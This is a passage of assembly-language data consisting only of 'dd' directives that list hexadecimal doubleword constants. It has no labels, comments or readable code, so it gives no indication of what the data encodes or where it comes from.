dd 3555FBA5h, 0EC479B28h, 0DA8E585Fh, 0DBB32A89h, 620D83FDh
dd 84DE4019h, 2F2E5CD2h, 53FC1ED0h, 7C8E517Dh, 0DD1CC801h
dd 27707A86h, 2F27490Ah, 99D20670h, 0B90593BEh, 8EF3650Eh
dd 0FBE5166Fh, 4E1855BFh, 7500F62Fh, 91E0855Fh, 0B080C2DEh
dd 0C7025B43h, 3FBC3B29h, 58B860D5h, 542C5E0Eh, 68B6ECCCh
dd 89CC8BC1h, 0A77ABEE0h, 82326983h, 0AAC6A23Fh, 33B310BEh
dd 0A7A50592h, 99DC5E96h, 5E08A6C4h, 0E123E8FAh, 55DBD75Ah
dd 1966C45Bh, 0BEB0C289h, 83D94635h, 0CA72808Ah, 75C5E88Eh
dd 6DFB0E6h, 6C5D819Dh, 7E8D515Dh, 5E67B22Fh, 43CA940Fh
dd 63443553h, 0B5F3E992h, 10587FB0h, 0DFA25F6Eh, 0F4FF9CA5h
dd 50AFC16Eh, 0AD4B98FCh, 61672647h, 0EF75EB9Ah, 0EDA27A8h
dd 0CCDFE1D2h, 26CD51FCh, 0C514D64Bh, 0E7A570E1h, 32965A63h
dd 0A0A7FAB3h, 0FD3D5079h, 646CDDA4h, 601DCE57h, 0D4B5E052h
dd 0F60459BAh, 55C066ABh, 0EA8A0B8Ah, 88F501E2h, 0F5F15806h
dd 91E630E7h, 6B5F2635h, 4CB46043h, 5F1452B9h, 83DE1029h
dd 1E3ABD58h, 0E63C1B7Fh, 58766164h, 73BCABA5h, 0B4A11E8Dh
dd 0C45FD005h, 771A217h, 0F3F40CF7h, 0E3763927h, 75E2EA74h
dd 0C92C11DCh, 80ED60D8h, 0E75804C9h, 4758C83Bh, 3744AB56h
dd 0FB27FF4Dh, 18DFD243h, 9554A564h, 0B3C775FFh, 152B5C3Ch
dd 0AECBD524h, 8E056A3Fh, 47F4DE1Dh, 161AEBF4h, 8A8EC7FCh
dd 68AFA730h, 7D37D523h, 7CBE6479h, 0E7AEF8ADh, 97A8FE98h
dd 0BD86625h, 19E67412h, 13F7EEACh, 891E95B2h, 1FFA8996h
dd 58C2326Bh, 552863D3h, 138275E2h, 0B3DA329Dh, 5E7DB7F9h
dd 77A68F05h, 28499F18h, 941D4E56h, 0F1028532h, 5C23348Ah
dd 90C8557Ch, 43FF3334h, 5F7350F5h, 69E8F79Eh, 2A39F329h
dd 7762BEC2h, 647D178Bh, 3D7E4E9Ch, 56C37AB5h, 0F7B3EED2h
dd 0C3A29F6Eh, 0BD4BBA79h, 14C636AEh, 29136CCCh, 514EDAFBh
dd 0B5D3C90h, 4D931BE1h, 0A741FF75h, 70942972h, 0D400E983h
dd 7F773BC9h, 2E3A4865h, 4FBB39ADh, 8F3830D4h, 9D5C2609h
dd 762DFC8Eh, 864B373Eh, 0BF16CF8Bh, 0D074422Fh, 0DEEB468Ch
dd 0AEE0CB99h, 31757460h, 1E4AFB5Fh, 0C2747F07h, 0BA4FF3C9h
dd 105BD5h, 0CC488211h, 6F12FC2Ch, 46DBE8B2h, 892AF959h
dd 0C81937FAh, 7E064CA3h, 3772A8AFh, 62AE23E7h, 0A7FC4DD4h
dd 0AF75B0E8h, 0B8705A01h, 0F2FBF35Ch, 2E4496CAh, 8F01048Ah
dd 0CB1B704Ah, 0E1F7FE3h, 2D005EC6h, 0E3EF7379h, 0A77F9009h
dd 0EE0B7D9Fh, 2C5590F3h, 3648173Ch, 0EA9C715Ah, 4AC68E0Eh
dd 5B213F37h, 0F763F1A6h, 74E9E9ACh, 4C78AFE6h, 7588F99Eh
dd 4EA3538Bh, 0B528417Eh, 698AC985h, 44A77060h, 6D755F01h
dd 30F418D3h, 5DA56FAh, 0FF7DF7C9h, 9C82020Ch, 0F27D892h
dd 144174ACh, 7AF928D8h, 214502F4h, 15AD9029h, 9E66D78Eh
dd 0C6D04C66h, 975CB996h, 0A3D24FBh, 0FFC325BFh, 538D8136h
dd 624EC772h, 8E26DE1Fh, 0E4993070h, 0C5E5F42Fh, 0A15B7DBEh
dd 0FEC84316h, 0E3F9F980h, 71F12D5Eh, 0E1BF14E2h, 0B572F9DEh
dd 78E05047h, 3E706BE5h, 0B640D23Dh, 9BD87DB7h, 8F3D4ED0h
dd 49BC143Ah, 4FC49330h, 3C56C82Ah, 0DEBAFC32h, 92CC76E5h
dd 0F8F03466h, 0BAA1453Bh, 0DC310C4Ah, 594D74DFh, 0C157F45Fh
dd 9200CBEEh, 84C001EBh, 551A3DB0h, 532C74C1h, 0A66F1463h
dd 7CA4FB1Ah, 0AEDDEEC9h, 0B8D7A874h, 0CB0D3B33h, 51797CA9h
dd 266A8EE2h, 13869038h, 0A975BCD5h, 63B58E7Bh, 176CC7F0h
dd 70923491h, 4C499266h, 92B7D040h, 0A7FFD980h, 0D63F7819h
dd 74E4E1A9h, 0CF74A05Fh, 31E1DA0Fh, 0B38263E4h, 7FCFFF11h
dd 0CF6E4299h, 0AA04650Eh, 8460BE0Bh, 90BF8E67h, 0C9EB9CD0h
dd 0C9B0D2EDh, 7F3102EFh, 102CECC6h, 0E65F364Fh, 633B1CC0h
dd 5480AF78h, 993AD4C5h, 6B3E1AADh, 0F10107A5h, 0D9C178D0h
dd 4DE75D20h, 0A8B0B7BFh, 0C817754h, 0B7E981A5h, 904EE5E8h
dd 3025517Ch, 8F6CC69h, 547EF68Eh, 67F4875h, 59401F63h
dd 9769725Ah, 0F3A838C4h, 99A603D8h, 88DCB3F8h, 24ED5D01h
dd 0CD0BA1EFh, 0D7562222h, 1542D28h, 940E31ADh, 778761C1h
dd 57206FEDh, 1F8A2AD8h, 227E9D1Eh, 4D2B565Ch, 70842359h
dd 3A49414Fh, 69F953EFh, 0F9A1DC8Eh, 81DA2D24h, 59FCD005h
dd 940746BDh, 92315D28h, 1B6A5B9Dh, 0C02A2CF8h, 904F7AFDh
dd 0CDB38739h, 0C219687Ch, 93BF763h, 0EB867035h, 0B905055Dh
dd 0F0CA4A1Bh, 2256DBB0h, 17923EAAh, 853F82ACh, 0F3673437h
dd 4A393388h, 215ED327h, 3A69D0C2h, 0F61C20BDh, 684BB0EBh
dd 0F8CA7249h, 8CCCA654h, 38791072h, 9697F62Fh, 714318CCh
dd 7E3AE3DCh, 889A9099h, 45A16C2Ch, 2A516B24h, 87B184E2h
dd 7DA0F5FCh, 0BF702438h, 0CA312459h, 80AA5EBAh, 49A3DE1Bh
dd 0F825F573h, 0EB25E0h, 28D24420h, 6A55443Ch, 25F5D8F8h
dd 4C544FACh, 0F78FE3E7h, 0D3725D73h, 0F73DED94h, 0B45DE15Ch
dd 0DC325A29h, 96FC3E7Fh, 45C3AA68h, 9C5AAB2h, 18B6992Fh
dd 1F5CB4E5h, 3204D267h, 534C28E8h, 0E9B8488h, 0ECCC274Ah
dd 79C89882h, 0E457B469h, 0B557D24Ch, 2BC3DFD1h, 7AA5FE9Eh
dd 7CD9B7Dh, 47777CF5h, 2F7C1377h, 0F9605C2Eh, 62D664ECh
dd 0B0A8702Ch, 55DE6B7h, 9176E368h, 0EFD905E1h, 89D85909h
dd 0AF21300Dh, 0BE1BD27Fh, 6D3288CDh, 0CFDB25B6h, 0B557CE0Fh
dd 4B3DD206h, 2F0458A2h, 5CBBD25Eh, 0B092E845h, 0E1D7FCF2h
dd 16C20F97h, 0E48DFA84h, 0CE53C42h, 0D4E88B92h, 0D0B288C1h
dd 799D25EEh, 82502B2Ch, 56E48E87h, 6D3A4E96h, 9E9C2715h
dd 3845FF5h, 0F4BDAE07h, 1229586Ch, 0CACCDA02h, 0B5B2EE64h
dd 0B0C6995Fh, 3918EE12h, 0A423B255h, 68EA0FD0h, 0F9E5D1E0h
dd 6D0B20D6h, 0FA9ADB3Eh, 399A0F05h, 2B3476FCh, 81829D9Ch
dd 5B06CD68h, 2A61FB86h, 6FCEFE87h, 7F9836CEh, 21EC5283h
dd 0D7AB29Ch, 0F609C89Ch, 14755814h, 762289BDh, 8FB79240h
dd 637F62D9h, 68B8FF30h, 0CA40383Eh, 91D92C80h, 0D9678DAFh
dd 16A2D5E4h, 1CA2F469h, 0B6D542DAh, 0FC5E2B66h, 6BD65BEBh
dd 3B958A9Eh, 5F2C6DAAh, 2B66AA5Ah, 738B0A62h, 0BD2F9E85h
dd 0EEE85F12h, 0FE104AFAh, 3D02FA29h, 0FDFE9CFCh, 85D4D67Ah
dd 0C36BACBBh, 846B1263h, 6B09A659h, 0C6A53BA9h, 0D99FC180h
dd 2FCB16BCh, 5200824h, 5A6BEF4Dh, 97A0AE2Dh, 9C35C3E0h
dd 8762EA7Dh, 0D7F40510h, 4B08D33Bh, 916BBD50h, 971F62B5h
dd 9B1D57A9h, 7DD8D349h, 184DB09Fh, 0BB02E266h, 0F9538D24h
dd 8FFA7011h, 0DE3CA1AEh
dd 0F8789638h, 8D3B91F7h, 0A2B9EDA3h, 8D77D8C8h, 0CC4F1476h
dd 0C54852EFh, 808267EFh, 0AA702A0Bh, 0CF13E228h, 373116A9h
dd 0CA303EA0h, 33143170h, 0AE27856Fh, 228B759Ah, 0AC930C1Dh
dd 98E2EDD9h, 24FB9E15h, 0FB2DE3CBh, 3EB081ACh, 0CE73BD52h
dd 8F7FC53h, 0D30CE1B6h, 75C5753Ah, 91C43BAEh, 704E3CBDh
dd 0E1B750A0h, 0A960A477h, 0AAE8C21Dh, 0BB159C02h, 0E6E016D4h
dd 0AB7153BFh, 0D4968C15h, 495F1BF2h, 77A55365h, 0E65D21A0h
dd 4A55123Ah, 2E8F8EE9h, 686744A2h, 854AC12Ah, 0FF21110Bh
dd 81E049EDh, 0F282F4E7h, 1DB8A73Bh, 49C85C24h, 0E4FD1900h
dd 1C5FA481h, 1A783CD8h, 295B87F7h, 2FE1630Eh, 196378DFh
dd 0FD704C58h, 7EA12792h, 6F127B51h, 0AFD3756Eh, 522129B5h
dd 441DF150h, 2CB3944Fh, 0F36643BAh, 0C178AE37h, 0B94B304Ch
dd 0CA333953h, 59087550h, 3991388Fh, 0F619752Ah, 6A5055F6h
dd 0D3E5E895h, 9D714635h, 8080292Ch, 1E27E757h, 8D554A9Bh
dd 8CAF6B94h, 3FD41B1h, 0B697EE3Bh, 0C18C7E39h, 6363B06Ah
dd 0EE5CC787h, 6E50640Ah, 0E9DEC7DAh, 15378744h, 1D0B707Fh
dd 0D9010175h, 2CDDCB6h, 0A0D470DAh, 6AC79524h, 73C80484h
dd 2BA90C84h, 0A465B6DDh, 98AEBB53h, 9AF98C4Fh, 0F87FE3E4h
dd 6E96E70Bh, 8C82E071h, 0EE3766D5h, 506BED63h, 0D1C22171h
dd 5B15CCA3h, 0B6B98334h, 0BB9B9E47h, 96CC662Fh, 0E2FA61CFh
dd 2903EE2Fh, 7ABE004Ah, 0CFE98E40h, 6894B36Eh, 9803F824h
dd 0DD68E951h, 0E151E466h, 87AE5EC6h, 2C04C4DCh, 35F33765h
dd 107B223Ch, 49C5764Ah, 0C6723D8h, 67522A98h, 135FDF37h
dd 5DD8815Dh, 31D0A950h, 35332A84h, 0BBC107FBh, 153228EDh
dd 0D836001Ah, 2635D4FEh, 8FA5DFCBh, 5256B4EAh, 5E5157A4h
dd 0EE5E7306h, 29C999C9h, 6F34BE7Ch, 1E5F24CAh, 6594876Eh
dd 0A90321A8h, 0E6B1CEDEh, 12A08724h, 82F1AA8Eh, 922D3AF1h
dd 52E0D30Ch, 0F5B33911h, 0A7AFE064h, 74C669BFh, 0F079F4ECh
dd 0FB67D773h, 4BF851D6h, 9BFADD59h, 0E39D7379h, 88FB3985h
dd 0DD47E2Ah, 0F608BFF1h, 0E647560Eh, 0FB41176Eh, 37552D03h
dd 5DA661ADh, 0E01F9066h, 0A07750B7h, 6AE57B08h, 0F9FB7CAFh
dd 238300B6h, 540E8357h, 0F6244F7Bh, 13DAD60Ch, 8633D074h
dd 38E10BB2h, 66EE6C6Ch, 0ABB4F04Bh, 8190DAFBh, 0FEC1BC0h
dd 0E697BE36h, 0B7186DA6h, 88FC83CBh, 896DCA83h, 0A2F47FABh
dd 25F2DCA2h, 7E8B6A61h, 70203870h, 3E673C9h, 5E080DB8h
dd 0B2B4F382h, 11D92F39h, 2BB62CB2h, 0E2F24098h, 1DE11C7Eh
dd 0AED00C5h, 0A83B2D65h, 0AA472D39h, 29603868h, 16F68B00h
dd 0D7DAC3DEh, 69C681ECh, 3D36FF24h, 79E11DDDh, 1E737D4Bh
dd 0BEBA2E4Bh, 0CF67A6BCh, 8E0A58EEh, 1F58D3EFh, 5EB77BFBh
dd 0FB65B00Bh, 2D7D1BE4h, 62A11EDEh, 2017E9C9h, 68338853h
dd 0B00C2AD9h, 3E9C4F5Ah, 0AF6EFB2Fh, 0BFA74056h, 38EA5B8Ah
dd 0DEF42D43h, 0C62FAE3Dh, 567A39FAh, 0CF206846h, 292CEAE9h
dd 18F296D4h, 0DE712DDEh, 0BA2628AFh, 7BC054FEh, 9A817995h
dd 0EC1341F5h, 95F60889h, 6F2F88FBh, 154AFE65h, 9C8A42D4h
dd 3AA0AE65h, 0D1BC092Eh, 8937B1E6h, 0A38EDCAh, 72D68AF7h
dd 700CF0CDh, 61ABA1EEh, 89F08128h, 7F8A9113h, 14E09596h
dd 0B7DEE1D9h, 71FCA676h, 987FE0ECh, 9E918976h, 0AB3F64C1h
dd 775DC854h, 1CB7533Eh, 288541A2h, 4A31A3BCh, 0DDAB59AEh
dd 5E57C67Ah, 911F24FCh, 0EEF79A2Ah, 3D247B08h, 73AEFFEFh
dd 0C16D6074h, 0F23FEC79h, 1358FBB7h, 9D43716Ch, 0E5A486F3h
dd 869624EDh, 58D8EC1Eh, 87398BEDh, 56A48DEAh, 0D78A3725h
dd 3AD5826Bh, 0C26D45E8h, 0A1D79B5Bh, 0F7D5F3DDh, 2908C16Dh
dd 7D9F48D8h, 0EB302B8Bh, 8473278Eh, 0F2A69895h, 92E4708h
dd 96FDA44Ah, 0B786E28Dh, 94CB6463h, 2A4726E8h, 2C86A2FFh
dd 0CE4C7D7Eh, 287A9540h, 0BEC14BC9h, 0E05F18B1h, 68EDC127h
dd 595C858Fh, 0CA7896F2h, 0BAA8E98Dh, 1748149h, 6F03040Ah
dd 2A71FA24h, 0D5FCA3EFh, 86BEF3FEh, 1FE5499Dh, 19979699h
dd 1C00B16Bh, 0B060927Ch, 854C5E0Ch, 0DE919B03h, 0FCDEE0Ah
dd 0D3783FE6h, 0C7A71F18h, 0BE26ED1Ch, 967071B4h, 3A33F96Dh
dd 0A353237Ch, 0AB0D5CEDh, 98844E9Ch, 7DE70C89h, 14C38AACh
dd 0FDABB984h, 0F8B74F3Eh, 0FB9BF031h, 35CD7E5Ah, 0D41DF292h
dd 26F2719h, 55EBB67Ch, 1DBC2660h, 0F5C01C42h, 191B0FBEh
dd 0FABC5E4Fh, 0A76F410h, 173B9B17h, 10EC462Fh, 1EB57F40h
dd 2F290D68h, 352C8FE7h, 0CDB4E837h, 9EFE1B5Ch, 0CB08DA05h
dd 33799AFDh, 1CF9FC80h, 0FB48A109h, 1ADF4728h, 26DED5Fh
dd 45266519h, 51007AD3h, 4301B8EBh, 83D41310h, 268C736Eh
dd 0FA95EAF1h, 38968DD3h, 4943DE31h, 2C1649FFh, 6A96952h
dd 45F94970h, 94C48C0Eh, 416FD3B9h, 0AD0D79FFh, 5A642428h
dd 8EE4E0A3h, 0D0DD6332h, 0E2A69763h, 23A68946h, 0F03320A4h
dd 0D3F5A09Eh, 2005955h, 0EFDEE18Dh, 0CF03B56Bh, 99729ED6h
dd 0C0CC50EDh, 90F2A7CCh, 1369570h, 0C72D34A8h, 301C567Ah
dd 0D6723164h, 0EB165093h, 5A31839Bh, 4EF94AEDh, 0F98C0ADCh
dd 551C19E8h, 14C0995Ah, 0FB4A983h, 3F02534Ch, 4364D366h
dd 596BD8E8h, 0EA629E65h, 0B8F88FB7h, 0B811FAC8h, 0C22A5648h
dd 4CF12471h, 6EEA2B23h, 0FBB6CFF6h, 0E650BDD7h, 0B2A2A94Fh
dd 535FC7ACh, 0A6BE0912h, 0AAAD364Ah, 42E44229h, 0F6B3E970h
dd 4B954A08h, 0DE9266ABh, 26A5402Fh, 34CFEFF9h, 8F444F45h
dd 4236CEE2h, 726F778Ah, 854A2136h, 8E1CA9FDh, 0AB35E7A0h
dd 409CF702h, 1572717Ch, 0C0A67B9Ch, 527ACEC4h, 0D3663B20h
dd 6CF6EFF6h, 0DE308C36h, 337F2755h, 91B89C32h, 29F70C66h
dd 5BCB0F45h, 2F1C89C9h, 5BBE92EDh, 94F4673Ch, 5A9B2C23h
dd 8D9ECEEFh, 0F08AC777h, 96D4C4C6h, 0C4E39BE2h, 5C34E1BEh
dd 0B7424897h, 0A3CEAAE5h, 33010272h, 8161A11Fh, 0A6DE9515h
dd 7730795Ch, 30C04C99h, 12FBF5B2h, 142487EDh, 76AA77ACh
dd 54F55BC1h, 0C15FBB82h, 0D19B1ECCh, 0ED522BD1h, 0F987D3BBh
dd 1E76A158h, 7001BA27h, 943DFB2Bh, 19269348h, 0E07F82B1h
dd 359214ACh, 98E7110h, 0E3F2A77Bh, 39732FDDh, 361B7A47h
dd 3764224Ch, 1A6D4E74h, 25EDB539h, 0B3213CD3h, 0A2288201h
dd 0FE373416h, 48499005h, 3F9A4927h, 3C0AD1F3h, 0B50225EFh
dd 0D0561AAFh, 83465030h, 0F813AD02h, 83CC3C9h, 4EB25144h
dd 76C0731Fh, 0BA338Eh, 273FBAADh, 0BD90B55h, 560013D5h
dd 0F64A4FF0h, 0D71CC246h, 1D6568B8h, 5D1A0FEAh, 59203ED4h
dd 0FB869FAFh, 5C74B92Bh, 37E4B4AFh, 0A5D87D3Bh, 0FA56FBF3h
dd 9251E142h, 0E98AE2F6h, 9C66548Bh, 6E0466E9h, 6E2DDCF9h
dd 0F68ED21Ch, 9C5F670Fh, 0CD30DDB9h, 0C8894079h, 0EDC8CD30h
dd 0BA5ABE1Ah, 0FF2DCE42h, 0BDD95EFDh, 1C000h, 1E5Ah, 0BC065E00h
dd 4E870640h, 64B010F0h, 5E266327h, 41707F01h, 7D36CEADh
dd 57BE2898h, 0F62F5C41h, 0ECD5642Bh, 75B7B58h, 0BE074D85h
dd 0DA89EBE4h, 778100A0h, 858EDF44h, 77895240h, 5DD77011h
dd 9F17C25Fh, 42896BD3h, 145390B9h, 4F8E283h, 853309A2h
dd 9752F1CAh, 9DC97EFh, 0C4357034h, 0C99F2BE0h, 4784EB0Bh
dd 1141206Fh, 66ECBA6h, 0D27B322h, 0BCABC31Ch, 0AF14CC79h
dd 651C9EC3h
dd 10F1678Dh, 3B4213CEh, 0AD2DCEDh, 0E2D0477Fh, 1D2A696h
dd 0D87EC131h, 0FCF090E8h, 2480FE81h, 55796912h, 0A47F5996h
dd 646AE718h, 0D446A885h, 0D9C7B4D6h, 72593044h, 7F4DD887h
dd 9FA7F6F0h, 0DFD4E55Dh, 110BF46Eh, 9B30D23Fh, 824C7ACBh
dd 95CB303h, 9D5302FEh, 903324EEh, 51623464h, 3ED483CBh
dd 42434A2Bh, 0F9E26503h, 0B9505F06h, 706F04F2h, 0B1EC3349h
dd 55C6FD27h, 0FCE2998Bh, 901AF4FDh, 8A4E9587h, 0F87B450Eh
dd 0CF596C43h, 0CE5764F3h, 0CF3B4D33h, 0BCF68CE2h, 0D7029787h
dd 4EDB9F1Dh, 0C6880B50h, 11EC2255h, 233DF7A7h, 6C321562h
dd 95F0401Ch, 30E20765h, 93BA5FAFh, 0D074F8EFh, 307CD4F2h
dd 177DB3FCh, 0AAD6F965h, 14D92EE1h, 58C75D59h, 8BB15E63h
dd 6F028ED6h, 0BAEB54E5h, 0BD474819h, 2A8C35Fh, 63A14F1h
dd 6D2FCC8Fh, 0CA042249h, 1A6D61C2h, 269F555Bh, 9255A2BCh
dd 57B03E81h, 5BCBDE54h, 771C4558h, 0E8AF3A94h, 144395D6h
dd 0D7EE27F8h, 0AD146CACh, 0BA07E2D1h, 4F430C15h, 0E9151194h
dd 58124B8Bh, 0B59BAB3Fh, 72D83777h, 0BA9FB5Ch, 4E54878h
dd 416AB5A3h, 0C83EC46Ch, 122201B8h, 18F4D286h, 0F97D7C9Dh
dd 34AE0162h, 0A3B025FEh, 4D930630h, 1D6AE691h, 5CD801F2h
dd 7BD6C1B2h, 741BD715h, 0F4906E13h, 0DEF80212h, 97018BA6h
dd 0AFE86E10h, 0CCF9245Eh, 93554474h, 484C49A2h, 0A6AB4A40h
dd 0D6AB33C7h, 2DFEBE2Bh, 9829093Bh, 0FCD49261h, 4A149EDEh
dd 8D6B1915h, 0C06837A7h, 69AFEA55h, 0ECD59AD4h, 8987417Fh
dd 9A9B5B74h, 0B5D528E8h, 4C327AA2h, 778D5286h, 3D535B84h
dd 29DE450Fh, 60B18E3Ch, 0F7E6089Bh, 73BE53F9h, 81F23832h
dd 0FFE77AA4h, 51E56DAFh, 6926054Dh, 7637A287h, 2CE30ABAh
dd 0D228A0F3h, 2D5948FAh, 89FBAF92h, 0F6F12DCBh, 7B75BB70h
dd 5BDC0CDAh, 0B757DACDh, 0A753555h, 3A341622h, 149F9725h
dd 6C109498h, 0E04D4AA8h, 78B8D95Ah, 9D5EFDF9h, 0B8DBD57h
dd 107D531Ah, 8104C72Ch, 48CED65Bh, 6E2B6D8Bh, 0A35F6436h
dd 0FDDA6808h, 2B3E941Dh, 68972841h, 0DC7A6866h, 627EDD70h
dd 88B86331h, 31D665B6h, 8AD75E3Fh, 25B43087h, 89DB07F3h
dd 0C74BAD31h, 1E293F58h, 0E94A89D8h, 423ACAC6h, 0D26FEC9Dh
dd 9B616494h, 5FC9DDBh, 0FE36A987h, 0F16D426Ah, 0F25F722Eh
dd 0F7FB8755h, 0F74537CCh, 7B1D41BBh, 9CE8478Ah, 2FCC4C87h
dd 0EC5775FEh, 985EDB63h, 0FC93F0CBh, 0F23B87Eh, 0CC307F63h
dd 0DCF7042Eh, 0A089F81Eh, 0CE237E4Dh, 0F1CAD78Ch, 0EC202F47h
dd 9BE4444Fh, 0BBC6D23h, 1329CA28h, 60311A49h, 0E1D1719Bh
dd 60BA7F64h, 0A3F54168h, 7CA64B94h, 85EF5590h, 31005AF4h
dd 0C5A67BEAh, 0EECDAE6Bh, 0B80EB43Bh, 0E53A0EE7h, 0C64850D4h
dd 0A8E5E478h, 0E5501932h, 2B99F68h, 71433891h, 0F55FA316h
dd 0A6F0D6A0h, 0DB4E959Ch, 0BB3A336h, 0D146D2CDh, 0C96A33C5h
dd 0D6821616h, 0FE81C5Bh, 1238094Bh, 75E4CBE8h, 704368Fh
dd 74B6E41Bh, 0E1D474AEh, 0D10050C5h, 74A35B30h, 8F6C5A5Fh
dd 9D2D829Dh, 6CB2B69Eh, 27265843h, 83768D8Fh, 53055248h
dd 89455897h, 30396CC3h, 7136D970h, 9665C666h, 0B0DA33C5h
dd 0C17D4FF9h, 3A1C3478h, 0C6F9FB14h, 187EA38Ah, 0F415C393h
dd 64B3B868h, 5D292AADh, 4C2A5554h, 0EFA92D3Bh, 9871DEE1h
dd 0FFB2EB4h, 9E3C6508h, 8FC7B5A1h, 2DE6C587h, 31F3F9B0h
dd 976EC7BEh, 42F01D04h, 0CB18D62Bh, 84DEA2A8h, 68CD44B6h
dd 7A91E771h, 224806F4h, 27508ECFh, 0A3F70D2Dh, 9D24017Fh
dd 0AF715508h, 0DDFC4B90h, 29C9DE18h, 0A40B05BBh, 0B76EF7ABh
dd 77B2099Ah, 8F6A35AFh, 0C6BF391Fh, 5417A2C8h, 4B7C6E20h
dd 59C2899Fh, 81CB2DDBh, 6302F1AAh, 5E20994Fh, 91B20A4h
dd 0EFFCFF78h, 0D9E3CAA6h, 0AC0CC183h, 0D7158A37h, 4B6F58E2h
dd 0A1F5024Dh, 2E71BFB6h, 0DFAD2257h, 3A57A76h, 0E8F16472h
dd 2259643Dh, 734D1C80h, 4C2CFEBh, 5A9A8949h, 34239B7Dh
dd 0CB203979h, 111C265Ah, 0E96AA9ACh, 88E3699Bh, 63F69390h
dd 31366367h, 0F750A6EAh, 0D06411A5h, 0C2B23C4Dh, 0F148296h
dd 2A62E7CEh, 20D1609Ah, 0FCF630A0h, 0BF20CA16h, 30FBCE71h
dd 2112AF77h, 2B05CA21h, 547935EAh, 0A071A9E0h, 255F2B85h
dd 4ED1ADBAh, 7D71CA1h, 0D0AEBB90h, 65FFFE3Fh, 2F500ABEh
dd 0D33AE043h, 66B6CA05h, 343732ABh, 0E4E5EB1h, 53C48E17h
dd 94DBDFC9h, 838BA1BCh, 44DCB58Fh, 809093Dh, 6051DAB2h
dd 79CE0522h, 3B4BEF4Fh, 353A900Ah, 54EE9A23h, 0E72674E5h
dd 8FA65006h, 0B60376B8h, 9C6F9732h, 84AA3B89h, 468F9E31h
dd 4DB17333h, 32CCA0BFh, 0F18290CAh, 0C7181EE2h, 5D374FFEh
dd 40A20407h, 0D389FF8Ah, 5BF1C70Fh, 0E7DD7ABFh, 0D6D4FB93h
dd 0ADCE444Ah, 3EE40BF4h, 2149D14Bh, 95DD0D78h, 8F82C6BDh
dd 0E345BA59h, 6984DD68h, 7DD2FBB8h, 0C030E7F2h, 0F2B812A6h
dd 19E66886h, 15A5AD05h, 861FE348h, 5BAC1911h, 83FB5A7Bh
dd 78052DF8h, 0A6F1739Fh, 0A70CE118h, 8B22F5Ch, 51264FE4h
dd 9876AB25h, 0B38C6BEEh, 49111198h, 96F7F5B2h, 0BEC819AFh
dd 1F7ABA18h, 0D17B9EEEh, 4C5AA9F2h, 72BDE03Dh, 4FD9984Fh
dd 5E04DB0Ah, 0E6EE624Dh, 25FFD35Dh, 86550FFDh, 2BD9B93Eh
dd 0B2FF7E3Eh, 0E94E066Bh, 73A52803h, 0FB39426Ch, 867A1C44h
dd 0C136E9DBh, 8A49AD90h, 0F740995Bh, 4F591F69h, 0A9463CB8h
dd 0C52CB061h, 0D64ACF91h, 0BEFAD851h, 5D2BE600h, 622C2578h
dd 4D89F9F6h, 7F71CE99h, 458E1C33h, 79A01200h, 6468515Eh
dd 0FB4803B0h, 0F2744185h, 0E4B27BEBh, 0FBB83005h, 205915E6h
dd 5D42440Bh, 8172CAB0h, 1109962Ch, 0BACFF0C3h, 22E241C3h
dd 42D9E239h, 3185A4A9h, 8EC5FF09h, 537824B3h, 618D77EBh
dd 0C59C7AE4h, 58C2FCAEh, 0F224FD49h, 3104CD91h, 50AA83E0h
dd 0C2D8BA65h, 121C384Fh, 0CE8B8D55h, 8E039607h, 25102D4Ah
dd 0D22698E6h, 0EE391324h, 0FEBE77D3h, 93D20A19h, 3F4BF437h
dd 2B7BDC90h, 7DB6B4FAh, 744A885Dh, 2E5B23D2h, 9AFE553Bh
dd 5593F7B3h, 0CF20DAF5h, 65407B97h, 0F98A572h, 72FB470h
dd 4E743288h, 8AA5826Eh, 0C011E63h, 3349CF03h, 45E4C077h
dd 0BE39CE13h, 9B32E5B8h, 0F7F7DF24h, 0A28AD96Eh, 0A8CAA381h
dd 0D2AFD9D3h, 0B1DAF5AEh, 966CF1B0h, 76F955F5h, 6D2447D4h
dd 0E1D654E5h, 49B1AE0Ah, 7F7AE484h, 0D61C10Eh, 0FD669B6Fh
dd 3CFB1C00h, 69D617ABh, 1D6B2E09h, 0BF4A0951h, 151FCDD2h
dd 3627876h, 5898755Fh, 0C67EF77Dh, 0EE98EFF2h, 5FBB9547h
dd 0A038C40Bh, 72306454h, 0E3ABB55Dh, 92461489h, 0A9673AC6h
dd 5014201Eh, 36E5D21Bh, 0D2005795h, 10F9FA5Dh, 1BF10915h
dd 0AE82650Bh, 0A710A0C7h, 5A8B160Fh, 0FBC81B4Ch, 601BB7F6h
dd 7CAD2F28h, 49F6F70Ah, 30099C20h, 0A133083Fh, 0BE1C5A5Dh
dd 3192DB60h, 2B1D7101h, 477B41B0h, 907D0C26h, 0F91C5FF6h
dd 5D30595Bh, 695BC95Ah, 0CDE9BB82h, 0F7736690h, 5AC39BA6h
dd 0EA90981h, 2863D932h, 0F378D01Ch, 23DEE934h, 422F75E1h
dd 1E0BF453h, 9515F040h, 64A263ADh, 5DA732A3h, 0C15E55F1h
dd 0A4F0082h, 106A1DCh, 0F8B08778h, 244CD438h, 335372C8h
dd 0B4434C01h, 12F7EC2Eh, 0C6F185BCh, 0E2222625h, 0A33D03E9h
dd 0D2D789A4h, 6B6B699Fh
dd 892AEB53h, 0D8870DF1h, 778DA198h, 30949F87h, 0F5ADC0D0h
dd 9999671Dh, 0F588C70Fh, 5AA2F026h, 0E1EBF5BBh, 2119B2B7h
dd 409C05A8h, 1DAC746Fh, 36E90051h, 8DCD182Eh, 4666DFECh
dd 3123B9A7h, 2F915DB8h, 32D1D207h, 78B795Dh, 0ECE9A9D1h
dd 0D01C4789h, 82F07C83h, 24A2C056h, 8118065Dh, 6DEA344Ch
dd 0AEAB11FAh, 0FCE33E6Ch, 5CB85BB0h, 0C02E76B9h, 0D7982AC1h
dd 36666653h, 9E441BEEh, 10A29129h, 0E2DC491Fh, 2C8634F7h
dd 0ADC3A9AFh, 29A53D64h, 8F3D9724h, 616CDE42h, 0B24772A9h
dd 0BEF162F7h, 0D2F95882h, 5589AEDh, 7BCF0AD7h, 0C9549974h
dd 658DFA0h, 8DBB1434h, 84B7A4B6h, 0DF5CA229h, 7E5184E9h
dd 0BC4E07C5h, 0F9FE7A57h, 7C3FC3BAh, 0EC9DFE9Fh, 7493804h
dd 0CC92094h, 40E12983h, 6B102A70h, 831B9BBBh, 6167C58Ch
dd 1FA1A037h, 88D75EB1h, 55D21D1Ah, 0EE2587D3h, 5CA9AD77h
dd 2D299384h, 9458DEB2h, 6CA522B6h, 535ACF82h, 0E9417C8Fh
